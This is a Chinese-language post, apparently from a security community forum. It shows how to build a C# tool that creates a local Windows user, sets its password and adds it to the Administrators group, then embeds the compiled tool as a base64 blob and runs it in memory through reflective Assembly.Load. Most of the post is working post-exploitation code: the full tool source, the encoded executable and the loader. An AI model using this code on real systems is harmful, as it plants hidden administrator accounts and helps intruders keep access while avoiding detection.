DirectoryEntry类[System.ComponentModel.TypeConverter(typeof(System.DirectoryServices.Design.DirectoryEntryConverter))][System.DirectoryServices.DSDescription("DirectoryE…
DirectoryEntry类
[System.ComponentModel.TypeConverter(typeof(System.DirectoryServices.Design.DirectoryEntryConverter))]
[System.DirectoryServices.DSDescription("DirectoryEntryDesc")]
public class DirectoryEntry : System.ComponentModel.Component
构造函数
DirectoryEntry()
初始化 DirectoryEntry 类的新实例。
DirectoryEntry(Object)
初始化 DirectoryEntry 类的新实例,该类可绑定到指定的本机 Active Directory 域服务对象。
DirectoryEntry(String)
初始化 DirectoryEntry 类的新实例,该类将此实例绑定到位于指定路径的 Active Directory 域服务中的节点。
DirectoryEntry(String, String, String)
初始化 DirectoryEntry 类的新实例。
DirectoryEntry(String, String, String, AuthenticationTypes)
初始化 DirectoryEntry 类的新实例。
这个一般是用来连接ad的,比如操作ldap数据库,进行查询域内信息,委派啊等等。我们可以传递参数为WinNT://hostname,computer
,创建一个新的条目。
c#可以通过如下两种方式查看本机hostname。
using System.Net;
string hostname = Dns.GetHostName();
Console.WriteLine(hostname);
string hostname1 = Environment.MachineName;
Console.WriteLine(hostname1);
然后我们添加一个值给user到ad中。
string hostname = Dns.GetHostName();
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
string username = "testuseradd";
string password = "1qaz@WSX..";
DirectoryEntry user = DE.Children.Add(username, "user");
然后用DirectoryEntry类的Invoke方法调用SetPassword方法来添加密码。再通过CommitChanges()方法来进行保存刷新。
user.Invoke("SetPassword", new object[] { password });
user.CommitChanges();
0x02 添加用户到管理员组
因为某些地区可能语言问题,管理员组名字不叫作administrator。所以我们可以先枚举一下目标本地组
string hostname = Dns.GetHostName();
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
DirectoryEntry group;
foreach(DirectoryEntry entry in DE.Children)
{
if (entry.SchemaClassName == "Group")
{
Console.WriteLine(entry.Name);
}
}
如何添加到管理员组?
首先定义一个DirectoryEntry
类型的变量group。然后调用DirectoryEntry
类的find方法找到administrators
组,再通过Invoke添加上面创建的用户。
DirectoryEntry group;
group = DE.Children.Find("Administrators", "group");
if (group != null) { group.Invoke("Add", new object[] { user.Path.ToString() }); }
完整代码
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.DirectoryServices;
using System.Net;
namespace AddUser
{
internal class Program
{
static void Main(string[] args)
{
string hostname = Dns.GetHostName();
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
if (args.Length == 1 && args[0] == "--list")
{
ListGroup(hostname,DE);
}
else if(args.Length == 6 && args[0] == "-u" && args[2] == "-p" && args[4] == "-l")
{
string username = args[1];
string password = args[3];
string groupname = args[5];
try
{
Add(username, password, DE);
}catch(Exception e)
{
Console.WriteLine(e.Message);
}
}
}
public static void ListGroup(string hostname,DirectoryEntry DE)
{
hostname = Dns.GetHostName();
DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
foreach (DirectoryEntry entry in DE.Children)
{
if (entry.SchemaClassName == "Group")
{
Console.WriteLine(entry.Name);
}
}
}
public static void Add(string username,string password, DirectoryEntry DE)
{
DirectoryEntry user = DE.Children.Add(username, "user");
user.Invoke("SetPassword", new object[] { password });
user.CommitChanges();
DirectoryEntry group;
group = DE.Children.Find("Administrators", "group");
if (group != null) { group.Invoke("Add", new object[] { user.Path.ToString() }); }
Console.WriteLine("[*] Account Created Successfully");
Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}");
}
}
}
0x03 反射加载
首先在AddUser里面添加一个类,包含一下方法
public class Test
{
public static void ListGroup(string hostname, DirectoryEntry DE)
{
hostname = Dns.GetHostName();
DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
foreach (DirectoryEntry entry in DE.Children)
{
if (entry.SchemaClassName == "Group")
{
Console.WriteLine(entry.Name);
}
}
}
public static void Add(string username, string password, DirectoryEntry DE)
{
DirectoryEntry user = DE.Children.Add(username, "user");
user.Invoke("SetPassword", new object[] { password });
user.CommitChanges();
DirectoryEntry group;
group = DE.Children.Find("Administrators", "group");
if (group != null) { group.Invoke("Add", new object[] { user.Path.ToString() }); }
Console.WriteLine("[+]" + username + " Created Success");
Console.WriteLine("[+]" + username + " add to group Success");
}
}
先把exe转换为string
byte[] buffer = File.ReadAllBytes("AddUser.exe");
string base64str = Convert.ToBase64String(buffer);
Console.WriteLine(base64str);
结果为
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABDeT9oAAAAAAAAAAOAAIgALATAAABAAAAAIAAAAAAAAFi4AAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMItAABPAAAAAEAAAKwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAgLQAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAHA4AAAAgAAAAEAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKwFAAAAQAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAGAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAD2LQAAAAAAAEgAAAACAAUAWCMAAMgJAAADAAIAAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABswAwB8AAAAAQAAESgPAAAKCnIBAABwBnITAABwKBAAAApzEQAACgsCjmkXMxcCFppyJwAAcCgSAAAKLAgGBygCAAAGKgKOaRozPAIWmnI1AABwKBIAAAosLQIYmnI7AABwKBIAAAosHgIXmgwCGZoNCAkHKAMAAAbeDG8TAAAKKBQAAAreACoBEAAAAABlAApvAAwSAAABGzADAHEAAAACAAARKA8AAAoQAHIBAABwAnITAABwKBAAAApzEQAAChABA28VAAAKbxYAAAoKKykGbxcAAAp0EQAAAQsHbxgAAApyQQAAcCgSAAAKLAsHbxkAAAooFAAACgZvGgAACi3P3hEGdRQAAAEMCCwGCG8bAAAK3CoAAAABEAAAAgAqADVfABEAAAAAEzAGAJIAAAADAAARBG8VAAAKAnJNAABwbxwAAAoKBnJXAABwF40QAAABJRYDom8dAAAKJgZvHgAACgRvFQAACnJvAABwco0AAHBvHwAACgsHLCAHcpkAAHAXjRAAAAElFgZvIAAACm8hAAAKom8dAAAKJnKhAABwAnKpAABwKBAAAAooFAAACnKhAABwAnLLAABwKBAAAAooFAAACioeAigiAAAKKgAAGzADAHEAAAACAAARKA8AAAoQAHIBAABwAnITAABwKBAAAApzEQAAChABA28VAAAKbxYAAAoKKykGbxcAAAp0EQAAAQsHbxgAAApyQQAAcCgSAAAKLAsHbxkAAAooFAAACgZvGgAACi3P3hEGdRQAAAEMCCwGCG8bAAAK3CoAAAABEAAAAgAqADVfABEAAAAAEzAGAJIAAAADAAARBG8VAAAKAnJNAABwbxwAAAoKBnJXAABwF40QAAABJRYDom8dAAAKJgZvHgAACgRvFQAACnJvAABwco0AAHBvHwAACgsHLCAHcpkAAHAXjRAAAAElFgZvIAAACm8hAAAKom8dAAAKJnKhAABwAnKpAABwKBAAAAooFAAACnKhAABwAnLLAABwKBAAAAooFAAACioeAigiAAAKKgAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAJAMAACN+AACQAwAArAMAACNTdHJpbmdzAAAAADwHAAD4AAAAI1VTADQIAAAQAAAAI0dVSUQAAABECAAAhAEAACNCbG9iAAAAAAAAAAIAAAFHFQIACQAAAAD6ATMAFgAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
在loader这边一样的获得机器名,和定义一个DirectoryEntry的变量
string hostname = Dns.GetHostName();
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
把string转换为byte类型,通过load方法加载
byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);
获得ListGroup方法,并且传参调用
Type type = assembly.GetType("AddUser.Test");
MethodInfo method = type.GetMethod("ListGroup");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, new object[] { hostname ,DE});
同理添加用户。
string hostname = Dns.GetHostName();
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
string base64str = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABDeT9oAAAAAAAAAAOAAIgALATAAABAAAAAIAAAAAAAAFi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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);
Type type = assembly.GetType("AddUser.Test");
MethodInfo method = type.GetMethod("Add");
Object obj = assembly.CreateInstance(method.Name);
string username = "tttttt";
string password = "test123..";
method.Invoke(obj, new object[] { username,password ,DE});
- 本文作者: cca
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1815
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!